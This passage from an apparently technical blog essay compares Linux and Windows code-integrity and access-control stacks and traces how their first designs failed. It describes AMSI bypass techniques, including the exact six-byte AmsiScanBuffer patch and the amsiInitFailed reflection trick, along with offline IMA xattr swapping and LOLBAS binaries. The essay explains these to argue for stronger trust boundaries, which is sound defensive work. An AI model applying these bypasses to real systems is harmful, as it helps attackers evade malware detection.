&lt;p&gt;The second layer is &lt;strong&gt;mandatory access control&lt;/strong&gt;, or MAC. Now the process is running. What can it do? Can &lt;code&gt;nginx&lt;/code&gt; open &lt;code&gt;/etc/shadow&lt;/code&gt;? Can &lt;code&gt;mshta.exe&lt;/code&gt; spawn &lt;code&gt;cmd.exe&lt;/code&gt;? MAC is enforced by the kernel above discretionary access control and cannot be overridden by userspace privileges.&lt;/p&gt;

A kernel-enforced policy layer above traditional discretionary access control (DAC). Unlike DAC, where the file owner sets permissions, MAC policy is set by the system administrator and applied uniformly to all processes; no user, including root, can override it without changing the policy itself.
&lt;p&gt;The third layer is &lt;strong&gt;content inspection&lt;/strong&gt;: gating not on the file but on the buffer the interpreter is about to evaluate. The PowerShell engine has just deobfuscated a long string into a script block. Is the script block malicious? Linux has no production equivalent. Windows ships AMSI [@learn-microsoft-com-interface-portal] for exactly this.&lt;/p&gt;
&lt;p&gt;Where each operating system puts these checks tells you almost everything about its architectural philosophy.&lt;/p&gt;
&lt;p&gt;Linux puts every check on a Linux Security Module hook [@kernel-org-security-lsmhtml]. IMA registers at &lt;code&gt;bprm_check&lt;/code&gt; (the kernel hook that fires when a binary is about to be executed), &lt;code&gt;file_mmap&lt;/code&gt; with &lt;code&gt;MAY_EXEC&lt;/code&gt;, &lt;code&gt;module_check&lt;/code&gt;, &lt;code&gt;firmware_check&lt;/code&gt;, and &lt;code&gt;kexec_*&lt;/code&gt;. AppArmor and SELinux register at the syscall-level access hooks. &lt;code&gt;fapolicyd&lt;/code&gt; rides on top of &lt;code&gt;fanotify&lt;/code&gt;. IPE hooks &lt;code&gt;op=EXECUTE&lt;/code&gt;. The kernel is the trust boundary, and every mechanism is a polite tenant inside it.&lt;/p&gt;

The kernel framework, merged into Linux 2.6.0 in December 2003, that hosts pluggable security modules at well-defined hook points in the kernel. LSMs include SELinux, AppArmor, Smack, Tomoyo, IMA, EVM, IPE, BPF LSM, and Landlock; multiple modules can coexist via &quot;LSM stacking&quot;.
&lt;p&gt;Windows takes the opposite path. The PE loader is the gate for user-mode code integrity (UMCI). The kernel-mode code-integrity check is, in the modern stack, moved out of the normal kernel into a small secure kernel running on top of Hyper-V -- Hypervisor-protected Code Integrity, HVCI [@learn-microsoft-com-code-integrity]. The script broker runs in-process with each scripting host. Cloud reputation is consulted via the Intelligent Security Graph and exposed to consumers as &lt;a href=&quot;https://paragmali.com/blog/mark-of-the-web-smartscreen-catalog-of-trust/&quot; rel=&quot;noopener&quot;&gt;Smart App Control&lt;/a&gt;.&lt;/p&gt;

A monotonically extendable hash register inside a Trusted Platform Module. New measurements are folded in with `PCR_new = SHA256(PCR_old || measurement)`. Once extended, the value cannot be rolled back without resetting the TPM. IMA extends file-content hashes into PCR 10; the Windows Measured Boot chain uses PCRs 0-7 and 11-14.
&lt;p&gt;The architectural philosophy comes down to a sentence each. Linux trusts the &lt;strong&gt;kernel surface&lt;/strong&gt; and packs every integrity mechanism into it as a separate LSM. Windows trusts a &lt;strong&gt;hypervisor-isolated secure kernel&lt;/strong&gt; and uses it to host the integrity logic the normal kernel cannot be trusted to run honestly.&lt;/p&gt;

flowchart LR
  subgraph CI[Code integrity: gate on file content or signer]
    direction TB
    L_IMA[Linux: IMA + EVM]
    L_IPE[Linux: IPE]
    L_FSV[Linux: fs-verity]
    L_FAP[Linux: fapolicyd]
    W_WDAC[Windows: App Control / WDAC]
    W_HVCI[Windows: HVCI / Memory Integrity]
    W_SAC[Windows: Smart App Control]
  end
  subgraph MAC[Mandatory access control: gate on running process behaviour]
    direction TB
    L_AA[Linux: AppArmor]
    L_SE[Linux: SELinux]
    W_NONE[Windows: no direct analogue, closest is AppContainer / ASR]
  end
  subgraph CS[Content inspection: gate on the buffer the interpreter will evaluate]
    direction TB
    W_AMSI[Windows: AMSI]
    L_GAP[Linux: no production equivalent]
  end
  CI --&amp;gt; MAC --&amp;gt; CS
&lt;p&gt;Neither stack started this way. The 2026 stack on each side is the accumulated answer to fifteen years of failures. Here is how they grew up.&lt;/p&gt;
&lt;h2&gt;3. Two genesis stories&lt;/h2&gt;
&lt;p&gt;In 2003, four IBM researchers at the T. J. Watson Research Center -- Reiner Sailer, Xiaolan Zhang, Trent Jaeger, and Leendert van Doorn -- tried to convince the USENIX Security community that you could prove the integrity of a Linux web server to a remote verifier. Their paper, &lt;em&gt;Design and Implementation of a TCG-based Integrity Measurement Architecture&lt;/em&gt; [@usenix-org-tech-sailerhtml], shipped at the 13th USENIX Security Symposium in 2004. It proposed hashing every executable file at load time, extending each hash into a &lt;a href=&quot;https://paragmali.com/blog/the-tpm-in-windows-one-primitive-twenty-five-years-and-the-c/&quot; rel=&quot;noopener&quot;&gt;TPM platform configuration register&lt;/a&gt;, and sending the resulting measurement list to a remote verifier who could compare it to a known-good manifest.&lt;/p&gt;
&lt;p&gt;The performance evaluation [@usenix-org-sailerhtml-node19html] measured the cost on an IBM Netvista with a 2.4 GHz Pentium 4: the &lt;code&gt;file_mmap&lt;/code&gt; LSM hook added 0.08 microseconds per call on a cache hit, and SHA-1 fingerprinting ran at roughly 80 MB/s. The headline claim was that more than 99.9% of measure calls landed on the cached path, so the overhead was essentially free.Pentium 4-era SHA-1 at 80 MB/s vs Ice Lake-era SHA-NI-accelerated SHA-256 at roughly 2 GB/s per core: a 25x throughput jump in twenty years. The original paper&apos;s qualitative finding -- cache hit dominates, overhead is negligible -- holds even more strongly on modern silicon.&lt;/p&gt;
&lt;p&gt;It took five years for that proposal to reach the kernel. IMA&apos;s measurement-only mode was merged in Linux 2.6.30 in June 2009. It hashed files at &lt;code&gt;bprm_check&lt;/code&gt;, &lt;code&gt;file_mmap&lt;/code&gt;, and &lt;code&gt;module_check&lt;/code&gt;, extended TPM PCR 10, and otherwise let everything run.&lt;/p&gt;
&lt;p&gt;The &quot;is this hash allowed?&quot; question would have to wait three more years. The Extended Verification Module landed in Linux 3.2 in January 2012; digital-signature mode for EVM followed in 3.3 in March 2012; and IMA-appraise, the enforcement extension that finally let the kernel return &lt;code&gt;-EPERM&lt;/code&gt; when a file&apos;s hash did not match &lt;code&gt;security.ima&lt;/code&gt;, merged in Linux 3.7 in December 2012 [@lwn-net-articles-488906]. The same LWN article frames the cadence plainly: &quot;Much of IMA was added to the kernel in 2.6.30, but another piece, the extended verification module (EVM) was not merged until 3.2 ... Digital signature support was added to EVM in 3.3, and IMA appraisal is currently under review.&quot; Mimi Zohar&apos;s appraisal patchset [@lwn-net-articles-487700] is the canonical lore.kernel.org artifact of that final step.&lt;/p&gt;
&lt;p&gt;AppArmor took a different, longer road. It was born inside Immunix in 1998 under the name &quot;SubDomain&quot;, a path-based confinement layer designed to stop privilege-escalation exploits from doing anything the binary&apos;s profile did not name. Novell acquired Immunix in 2005, renamed SubDomain to AppArmor, and shipped it as the default mandatory access control layer on SLES and openSUSE. According to the Ubuntu AppArmor wiki [@wiki-ubuntu-com-apparmor], &quot;AppArmor support was first introduced in Ubuntu 7.04, and is turned on by default in Ubuntu 7.10 and later&quot; -- so by October 2007 AppArmor was already a default-on production MAC on the most-deployed Linux desktop distribution.&lt;/p&gt;
&lt;p&gt;Mainlining did not happen until October 2010, when AppArmor finally landed in Linux 2.6.36 [@docs-kernel-org-lsm-apparmorhtml]. Seven years out of tree, three years default-on in Ubuntu, before the kernel community accepted it.&lt;/p&gt;
&lt;p&gt;The contrast with SELinux [@en-wikipedia-org-security-enhancedlinux] is sharp. SELinux merged into Linux 2.6.0 in December 2003 -- barely a year after the LSM framework was created. SELinux was, in fact, the reason the LSM framework existed.&lt;/p&gt;

SELinux&apos;s type-enforcement model maps directly to LSM&apos;s &quot;label the subject, label the object, look up the rule&quot; hook signature. AppArmor&apos;s path-based reasoning does not. LSM hooks see inodes, not paths -- and an inode can be reached from many paths (bind mounts, hard links, namespace games, chroots). To merge, AppArmor had to push kernel-side helpers like `vfs_path_lookup` and `d_absolute_path` upstream so it could reconstruct the absolute path of the object at hook time. The conceptual fight took three rejected merge attempts and seven years. The lesson is one Linux kernel reviewers have repeated since: a security model is not just an algorithm, it is a commitment to a particular kind of name-resolution semantics.
&lt;p&gt;The Windows lineage starts in a different building entirely. AppLocker shipped with Windows 7 and Windows Server 2008 R2 in 2009: a user-mode-only allowlist, with no hypervisor or kernel-mode backing, and rules tied to file paths, publishers, or hashes. AppLocker is still supported on modern Windows but &quot;isn&apos;t getting new feature improvements&quot; [@learn-microsoft-com-applocker-overview]; the modern successor is App Control for Business.&lt;/p&gt;
&lt;p&gt;Windows 10 RTM (version 1507, July 2015) shipped the first version of Device Guard along with AMSI [@learn-microsoft-com-interface-portal] and PowerShell 5.0, which integrated with AMSI from day one. Device Guard became known as Windows Defender Application Control (WDAC) and then, in 2024, was renamed once more to &lt;em&gt;App Control for Business&lt;/em&gt;. User-mode code integrity (UMCI) became a policy option, FilePath rules were added in Windows 10 version 1903 [@learn-microsoft-com-applocker-overview], multiple-policy authoring landed in the same release, and Smart App Control made its consumer debut in Windows 11 22H2 in September 2022 [@blogs-windows-com-2022-update].&lt;/p&gt;

gantt
  title Linux and Windows code-integrity timeline
  dateFormat YYYY-MM
  axisFormat %Y
  section Linux
  SELinux mainline 2.6.0    :2003-12, 12M
  AppArmor at Immunix       :1998-01, 84M
  AppArmor default in Ubuntu :2007-10, 36M
  IMA mainline 2.6.30        :2009-06, 32M
  EVM mainline 3.2           :2012-01, 2M
  EVM digital sigs 3.3       :2012-03, 9M
  IMA-appraise 3.7           :2012-12, 24M
  AppArmor mainline 2.6.36   :2010-10, 14M
  fs-verity 5.4              :2019-11, 60M
  IPE 6.12                   :2024-11, 12M
  section Windows
  AppLocker (Win 7)          :2009-10, 70M
  Device Guard + AMSI + PowerShell 5 (1507) :2015-07, 25M
  WDAC UMCI (1709)           :2017-10, 18M
  FilePath rules + multi-policy (1903) :2019-05, 24M
  HVCI broadens (Win 10 1607+) :2016-08, 60M
  Smart App Control (Win 11 22H2) :2022-09, 24M
  App Control for Business rename :2024-01, 12M
&lt;p&gt;Two timelines, two design philosophies, both shipping their v1 with the same kind of mistake. The next section makes that concrete.&lt;/p&gt;
&lt;h2&gt;4. Where the naive approach breaks&lt;/h2&gt;
&lt;p&gt;Both stacks shipped their first version with the check in the wrong place. Two stories make this concrete; two more refine it.&lt;/p&gt;
&lt;h3&gt;Story A: IMA-as-shipped (2009) without EVM&lt;/h3&gt;
&lt;p&gt;When IMA reached the kernel in Linux 2.6.30, it hashed the file at &lt;code&gt;bprm_check&lt;/code&gt; and stored the reference hash in the file&apos;s &lt;code&gt;security.ima&lt;/code&gt; extended attribute. That is what an attacker with offline disk access needs to defeat the check, and exactly nothing else. Mount the filesystem from another box, swap the binary for a malicious one, recompute the SHA over the new binary, write the new value into &lt;code&gt;security.ima&lt;/code&gt;. Boot the box. The kernel hashes the malicious binary at exec, reads the matching xattr the attacker just wrote, and lets the syscall through.&lt;/p&gt;
&lt;p&gt;This is the offline-tampering attacker model EVM was designed to defeat. The contemporaneous LWN coverage put it plainly: &quot;IMA can be subverted by &apos;offline&apos; attacks, where file data or metadata is changed out from under IMA. Mimi Zohar has proposed the extended verification module (EVM) patch set as a means to protect against these offline attacks.&quot; [@lwn-net-articles-394170]&lt;/p&gt;
&lt;p&gt;The EVM v5 patchset [@lwn-net-articles-443038], posted by Zohar in May 2011, describes the design directly: &quot;Extended Verification Module (EVM) detects offline tampering of the security extended attributes (e.g. security.selinux, security.SMACK64, security.ima) ... initial method maintains an HMAC-sha1 across a set of security extended attributes, storing the HMAC as the extended attribute &apos;security.evm&apos;.&quot;&lt;/p&gt;
&lt;h3&gt;Story B: AMSI as shipped (2015) inside the script host&lt;/h3&gt;
&lt;p&gt;AMSI&apos;s design is documented in &lt;em&gt;How AMSI helps you defend against malware&lt;/em&gt; [@learn-microsoft-com-amsi-helps]: &quot;Script (malicious or otherwise), might go through several passes of de-obfuscation. But you ultimately need to supply the scripting engine with plain, un-obfuscated code. And that&apos;s the point at which you invoke the AMSI APIs.&quot;&lt;/p&gt;
&lt;p&gt;A scripting host -- PowerShell, WSH, MSHTA, Office VBA, the UAC installer dialog -- calls &lt;code&gt;AmsiInitialize&lt;/code&gt;, then for every plain-text script buffer it is about to execute calls &lt;code&gt;AmsiScanBuffer&lt;/code&gt; [@learn-microsoft-com-amsi-amsiscanbuffer] or &lt;code&gt;AmsiScanString&lt;/code&gt;. The call is routed through &lt;code&gt;amsi.dll&lt;/code&gt;, loaded into the host process, which dispatches to the registered &lt;code&gt;IAntimalwareProvider&lt;/code&gt; COM server. Defender is the default provider.&lt;/p&gt;
&lt;p&gt;The detection logic is sound. The trust boundary is not. The attacker already controls the script host. Three single-shot bypass techniques have lived in red-team toolkits since 2016:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Patch &lt;code&gt;AmsiScanBuffer&lt;/code&gt;&apos;s prologue in memory to &lt;code&gt;mov eax, 0; ret&lt;/code&gt; (&lt;code&gt;B8 00 00 00 00 C3&lt;/code&gt;). Six bytes of opcode rewrite, no syscalls required, blinds the scanner permanently for this process.&lt;/li&gt;
&lt;li&gt;Set &lt;code&gt;System.Management.Automation.AmsiUtils.amsiInitFailed = true&lt;/code&gt; via reflection. PowerShell checks the flag on every scan path and short-circuits.&lt;/li&gt;
&lt;li&gt;Unload &lt;code&gt;amsi.dll&lt;/code&gt; via &lt;code&gt;FreeLibrary&lt;/code&gt;. There is no scanner left to call.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Microsoft tracks this so closely that its own &quot;Applications that can bypass App Control&quot; [@learn-microsoft-com-bypass-appcontrol] deny list calls out the AMSI-bypass-capable versions of &lt;code&gt;system.management.automation.dll&lt;/code&gt; by hash. The defender&apos;s authoritative list of files-to-block treats specific signed Microsoft DLLs as named threats.The same Microsoft bypass list also enumerates &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;wscript.exe&lt;/code&gt;, &lt;code&gt;cscript.exe&lt;/code&gt;, &lt;code&gt;msbuild.exe&lt;/code&gt;, &lt;code&gt;Microsoft.Build.dll&lt;/code&gt;, &lt;code&gt;windbg.exe&lt;/code&gt;, &lt;code&gt;cdb.exe&lt;/code&gt;, &lt;code&gt;kd.exe&lt;/code&gt;, &lt;code&gt;dotnet.exe&lt;/code&gt;, &lt;code&gt;csi.exe&lt;/code&gt;, &lt;code&gt;rcsi.exe&lt;/code&gt;, &lt;code&gt;addinprocess.exe&lt;/code&gt;, &lt;code&gt;wmic.exe&lt;/code&gt;, &lt;code&gt;bash.exe&lt;/code&gt;, &lt;code&gt;wsl.exe&lt;/code&gt;, &lt;code&gt;runscripthelper.exe&lt;/code&gt;, and dozens of others -- 40+ entries today, growing whenever a new Microsoft-signed binary turns out to host an attacker-friendly evaluator.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The host process making the AMSI call is the same process the attacker is running in. Any defence-in-depth plan that treats AMSI as a hard control is mis-specified. Treat AMSI as a high-quality telemetry surface feeding Defender for Endpoint and EDR pipelines; budget for the bypass.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;{`
// In Windows, AMSI scans each plain-text script buffer just before
// the scripting engine evaluates it. The scanner lives in amsi.dll,
// loaded into the script host process. The attacker who controls
// that process can rewrite the function&apos;s first few bytes.
//
// This toy model shows the consequence: once &quot;patched&quot;, the scanner
// returns CLEAN regardless of input, and the assertion below holds
// for every possible payload.&lt;/p&gt;
&lt;p&gt;const AMSI_RESULT_CLEAN = 0;
const AMSI_RESULT_MALWARE = 32768;&lt;/p&gt;
&lt;p&gt;function amsiScanBuffer(buf, patched) {
  if (patched) return AMSI_RESULT_CLEAN;
  if (buf.includes(&quot;Invoke-Mimikatz&quot;)) return AMSI_RESULT_MALWARE;
  return AMSI_RESULT_CLEAN;
}&lt;/p&gt;
&lt;p&gt;console.log(&quot;Normal mode:&quot;);
console.log(&quot;  clean payload:    &quot;, amsiScanBuffer(&quot;Get-Process&quot;, false));
console.log(&quot;  malicious payload:&quot;, amsiScanBuffer(&quot;Invoke-Mimikatz&quot;, false));&lt;/p&gt;
&lt;p&gt;console.log(&quot;\nAfter six-byte patch:&quot;);
console.log(&quot;  clean payload:    &quot;, amsiScanBuffer(&quot;Get-Process&quot;, true));
console.log(&quot;  malicious payload:&quot;, amsiScanBuffer(&quot;Invoke-Mimikatz&quot;, true));&lt;/p&gt;
&lt;p&gt;// The takeaway: no input ever produces MALWARE once the scanner is patched.
// Strengthening AMSI&apos;s signature engine cannot fix this. The scanner
// must move out of the script host&apos;s address space.
`}&lt;/p&gt;
&lt;h3&gt;Story C: WDAC&apos;s &quot;trust all Microsoft-signed code&quot; anti-pattern&lt;/h3&gt;
&lt;p&gt;A &lt;a href=&quot;https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/&quot; rel=&quot;noopener&quot;&gt;WDAC policy&lt;/a&gt; that trusts code signed by Microsoft also trusts every binary Microsoft has ever signed. That set includes &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;wscript.exe&lt;/code&gt;, &lt;code&gt;cscript.exe&lt;/code&gt;, &lt;code&gt;msbuild.exe&lt;/code&gt;, &lt;code&gt;wmic.exe&lt;/code&gt;, &lt;code&gt;system.management.automation.dll&lt;/code&gt;, and the 40-plus other binaries enumerated on Microsoft&apos;s own App Control bypass list [@learn-microsoft-com-bypass-appcontrol]. The LOLBAS community catalogue [@lolbas-project-github-io] widens the field to roughly 200 living-off-the-land binaries with explicit MITRE ATT&amp;amp;CK technique mappings.&lt;/p&gt;
&lt;p&gt;The pattern is structural: WDAC grants trust at &lt;em&gt;signer&lt;/em&gt; granularity (a chain rooted at &quot;Microsoft Corporation&quot;); attackers exploit at &lt;em&gt;binary&lt;/em&gt; granularity (the specific &lt;code&gt;mshta.exe&lt;/code&gt; that will happily evaluate an HTA blob containing a PowerShell stager). Any non-trivial WDAC policy must therefore contain explicit hash-level denies for the known-bad versions, and must keep growing those denies as Microsoft ships new signed binaries.&lt;/p&gt;
&lt;h3&gt;Story D: fapolicyd&apos;s permissive-window failure&lt;/h3&gt;
&lt;p&gt;fapolicyd [@access-redhat-com-fapolicydsecurity-hardening] is the Red Hat userspace allowlister. It sits on the &lt;code&gt;fanotify&lt;/code&gt; permission channel and answers &quot;may this open or exec proceed?&quot; against a compiled rule database. It does not have IMA&apos;s offline-tampering problem because trust is inherited from the RPM database: &quot;An application is trusted when the system package manager correctly installs it and therefore registered in the system RPM database. The fapolicyd daemon uses the RPM database as a list of trusted binaries and scripts.&quot;&lt;/p&gt;
&lt;p&gt;What it does have is an operational footgun. Setting &lt;code&gt;permissive=1&lt;/code&gt; &quot;just for troubleshooting&quot; silently disables enforcement. Terminating the daemon causes the kernel to fail open after the fanotify response timeout. The architectural choice -- userspace daemon over kernel-mode hook -- is what makes both failure modes possible.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The check was strong. The boundary protecting the check was weak. On IMA-as-shipped the reference hash sat next to the file the attacker rewrote. On AMSI the scanner sat inside the process the attacker controlled. On WDAC the trust grant was wider than the exploitation unit. On fapolicyd the verifier was a userspace process that could be terminated. Four different stacks, four different boundary failures, one identical lesson.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Bypass class&lt;/th&gt;
&lt;th&gt;Stack&lt;/th&gt;
&lt;th&gt;Concrete example&lt;/th&gt;
&lt;th&gt;Root cause&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Offline metadata swap&lt;/td&gt;
&lt;td&gt;IMA without EVM&lt;/td&gt;
&lt;td&gt;Rewrite binary and matching &lt;code&gt;security.ima&lt;/code&gt; xattr from rescue media&lt;/td&gt;
&lt;td&gt;Reference value stored next to the file under attacker control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;In-process scanner patch&lt;/td&gt;
&lt;td&gt;AMSI in PowerShell&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov eax, AMSI_RESULT_CLEAN; ret&lt;/code&gt; over &lt;code&gt;AmsiScanBuffer&lt;/code&gt; prologue&lt;/td&gt;
&lt;td&gt;Scanner shares address space with the script host the attacker runs in&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Signer-vs-binary mismatch&lt;/td&gt;
&lt;td&gt;WDAC Publisher rules&lt;/td&gt;
&lt;td&gt;Allow Microsoft-signed code, attacker runs &lt;code&gt;mshta.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Trust grant is coarser than the exploitable unit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Daemon liveness&lt;/td&gt;
&lt;td&gt;fapolicyd&lt;/td&gt;
&lt;td&gt;Terminate &lt;code&gt;fapolicyd&lt;/code&gt; or set &lt;code&gt;permissive=1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Verifier is a userspace process with no kernel-rooted backstop&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Each of these failures has the same shape: the check was strong, the boundary protecting the check was weak. Both operating systems noticed, and fixed it in 2012 and 2016 in very different ways. Both fixes followed the same principle.&lt;/p&gt;
&lt;h2&gt;5. The architectural pivots&lt;/h2&gt;
&lt;p&gt;Both lineages reached the same conclusion at the same time: strengthen the boundary, not the check. Each pivot moved the trust boundary outward, beyond the place the attacker could reach.&lt;/p&gt;
&lt;h3&gt;EVM (Linux 3.2, January 2012): the xattrs become non-forgeable&lt;/h3&gt;
&lt;p&gt;The Extended Verification Module computes an HMAC over the security-relevant extended attributes -- &lt;code&gt;security.ima&lt;/code&gt;, &lt;code&gt;security.selinux&lt;/code&gt;, &lt;code&gt;security.SMACK64&lt;/code&gt;, &lt;code&gt;security.apparmor&lt;/code&gt;, &lt;code&gt;security.capability&lt;/code&gt; -- plus inode metadata (UID, GID, mode, generation), and stores the result in &lt;code&gt;security.evm&lt;/code&gt;. The HMAC key is loaded into the kernel keyring at boot, ideally sealed to a TPM 2.0 PCR set so the key is not retrievable except on a machine whose boot state matches the sealing measurement. The kernel keyring documentation for trusted and encrypted keys [@kernel-org-trusted-encryptedhtml] describes the substrate.&lt;/p&gt;
&lt;p&gt;An offline attacker with disk access still cannot forge &lt;code&gt;security.evm&lt;/code&gt; without the HMAC key. Digital-signature mode (EVM portable signatures, Linux 3.3) gives the same guarantee without any on-box key material. The check did not get cryptographically stronger: HMAC-SHA256 was not new in 2012. What changed was that the &lt;em&gt;reference value&lt;/em&gt; the check consults moved from &quot;an xattr next to the file&quot; to &quot;an xattr whose integrity is bound to a key the attacker does not have&quot;. Red Hat documents the modern setup in &lt;em&gt;Enhancing security with the kernel integrity subsystem&lt;/em&gt; [@access-redhat-com-subsystemsecurity-hardening].&lt;/p&gt;

The Linux integrity module that protects the security-relevant extended attributes IMA depends on. EVM computes an HMAC (or digital signature) over the xattr set plus inode metadata and stores it in `security.evm`. Without the EVM key, an offline attacker cannot rewrite a binary and its matching `security.ima` to produce a valid pair.

sequenceDiagram
  participant App as User app
  participant K as Kernel
  participant FS as Filesystem
  participant IMA as IMA
  participant EVM as EVM
  participant TPM as TPM keyring
  App-&amp;gt;&amp;gt;K: execve(&quot;/usr/bin/foo&quot;)
  K-&amp;gt;&amp;gt;IMA: bprm_check hook
  IMA-&amp;gt;&amp;gt;FS: read file bytes
  IMA-&amp;gt;&amp;gt;IMA: compute SHA-256
  IMA-&amp;gt;&amp;gt;FS: read security.ima xattr
  IMA-&amp;gt;&amp;gt;EVM: verify xattr integrity
  EVM-&amp;gt;&amp;gt;FS: read security.evm and full xattr set
  EVM-&amp;gt;&amp;gt;TPM: HMAC key from keyring (sealed to PCRs)
  EVM-&amp;gt;&amp;gt;EVM: recompute HMAC over xattr set + inode meta
  alt HMAC matches and IMA hash matches
    EVM--&amp;gt;&amp;gt;IMA: ok
    IMA--&amp;gt;&amp;gt;K: allow
    K--&amp;gt;&amp;gt;App: exec proceeds
  else mismatch
    EVM--&amp;gt;&amp;gt;IMA: -EPERM
    IMA--&amp;gt;&amp;gt;K: deny
    K--&amp;gt;&amp;gt;App: -EPERM
  end
&lt;h3&gt;IMA-appraise (Linux 3.7, December 2012): from observation to enforcement&lt;/h3&gt;
&lt;p&gt;The merge cadence on the kernel side is itself part of the story. Measurement-only IMA shipped in 2.6.30 in 2009. EVM merged in 3.2 in January 2012. EVM digital signatures merged in 3.3 in March 2012. IMA-appraise, which finally lets the kernel return &lt;code&gt;-EPERM&lt;/code&gt; on a hash mismatch, merged in Linux 3.7 in December 2012 [@lwn-net-articles-488906]. Three and a half years from &quot;we hash files&quot; to &quot;we refuse to run files that fail the hash&quot;. The gap was not engineering laziness; it was the time it took to design and merge the boundary-strengthening pieces that made enforcement safe to enable.&lt;/p&gt;
&lt;h3&gt;HVCI / Memory Integrity (Windows 10 1607, August 2016): the secure kernel&lt;/h3&gt;
&lt;p&gt;Windows took the equivalent step four years later, but at a different layer. Virtualization-Based Security (VBS) [@learn-microsoft-com-oem-vbs] splits Windows into Virtual Trust Level 0 -- the normal kernel everyone has been writing rootkits for since 1993 -- and Virtual Trust Level 1, a small &lt;a href=&quot;https://paragmali.com/blog/the-windows-secure-kernel/&quot; rel=&quot;noopener&quot;&gt;secure kernel&lt;/a&gt; hosted by Hyper-V. The kernel-mode Code Integrity check that gates loading of every driver is moved into VTL1. A VTL0 attacker with full SYSTEM, even one who has loaded a malicious driver, cannot patch the VTL1 verifier; they cannot even read its memory.&lt;/p&gt;

Windows&apos; Hyper-V-rooted split that puts a small secure kernel in VTL1, isolated from the normal Windows kernel (VTL0) by the hypervisor. Hypervisor-protected Code Integrity (HVCI), exposed in Windows Settings as &quot;Memory integrity&quot;, uses VTL1 to host the kernel-mode code-integrity check, so a VTL0 attacker with SYSTEM cannot patch the verifier or downgrade its policy.
&lt;p&gt;Microsoft&apos;s HVCI documentation [@learn-microsoft-com-oem-vbs] frames the W^X invariant HVCI enforces on kernel pages: &quot;memory integrity ... protects and hardens Windows by running kernel mode code integrity within the isolated virtual environment of VBS ... ensuring that kernel memory pages are only made executable after passing code integrity checks inside the secure runtime environment, and executable pages themselves are never writable.&quot; A kernel page can be writable or executable; never both at the same time. The split is enforced by the hypervisor.&quot;HVCI&quot;, &quot;Memory Integrity&quot;, and &quot;kernel-mode code integrity running in VBS&quot; are the same mechanism. Microsoft&apos;s product-name churn here is unusually thick: the Windows Settings UI calls it Memory Integrity, the documentation page is titled &quot;Enable virtualization-based protection of code integrity&quot;, the underlying capability is HVCI, and Microsoft also markets the same hardware-and-software bundle as &quot;Secured-Core PC&quot;.&lt;/p&gt;

flowchart TD
  subgraph VTL0[VTL0: normal Windows kernel]
    P[User process]
    DRV[Driver load request]
    RK[Hypothetical rootkit with SYSTEM]
    K0[NT kernel]
    P --&amp;gt; K0
    DRV --&amp;gt; K0
    RK --&amp;gt; K0
  end
  K0 --&amp;gt;|hypercall: verify driver| HV[Hypervisor]
  RK -.X.-&amp;gt; SK
  HV --&amp;gt; SK
  subgraph VTL1[VTL1: secure kernel]
    SK[Secure kernel]
    CI[Kernel-mode CI verifier]
    SK --&amp;gt; CI
  end
  CI --&amp;gt;|allow / deny| HV
  HV --&amp;gt;|result| K0
&lt;h3&gt;IPE (Linux 6.12, November 2024): property-based decisions&lt;/h3&gt;
&lt;p&gt;The most recent Linux pivot moves further still. Integrity Policy Enforcement [@docs-kernel-org-lsm-ipehtml], upstreamed in Linux 6.12 in November 2024 from a Microsoft-contributed patch series (source on GitHub [@github-com-microsoft-ipe]), does not hash files at all. Its kernel documentation is explicit: &quot;Integrity Policy Enforcement (IPE) is a Linux Security Module that takes a complementary approach to access control. Unlike traditional access control mechanisms that rely on labels and paths for decision-making, IPE focuses on the immutable security properties inherent to system components.&quot; A policy rule looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;op=EXECUTE dmverity_signature=TRUE dmverity_roothash=sha256:&amp;lt;hex&amp;gt; action=ALLOW
op=EXECUTE fsverity_signature=TRUE action=ALLOW
op=EXECUTE action=DENY
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The kernel is not asked &quot;what is the SHA-256 of this file?&quot; at &lt;code&gt;op=EXECUTE&lt;/code&gt; time. It is asked &quot;did this file come from a dm-verity device whose root hash matches one of our trusted signatures?&quot; The verifier has nothing to compute per access; it has only to read a pre-computed property. The trust boundary has moved out to whoever signed the dm-verity image at build time.&lt;/p&gt;
&lt;h3&gt;fs-verity (Linux 5.4, November 2019): O(log n) per page&lt;/h3&gt;
&lt;p&gt;The cryptographic complement is fs-verity [@kernel-org-filesystems-fsverityhtml], upstreamed in Linux 5.4 in November 2019 by Eric Biggers and Theodore Ts&apos;o at Google. The kernel docs describe the trick: &quot;fs-verity is similar to dm-verity but works on files rather than block devices ... userspace can execute an ioctl that causes the filesystem to build a Merkle tree for the file and persist it to a filesystem-specific location ... Userspace can use another ioctl to retrieve the root hash ... in constant time, regardless of the file size.&quot;&lt;/p&gt;
&lt;p&gt;The Merkle tree turns whole-file hashing into O(log n) verification per page read, with constant-time digest retrieval. Concretely, an APK or container layer with thousands of pages does not need a full hash on first open; the page cache verifies the leaves and intermediate Merkle nodes only for the pages actually touched. IMA can consume fs-verity&apos;s digest directly through the &lt;code&gt;digest_type=verity&lt;/code&gt; modifier in its policy language.&lt;/p&gt;

The breakthrough was not a stronger check. It was moving the check out of the attacker&apos;s address space.
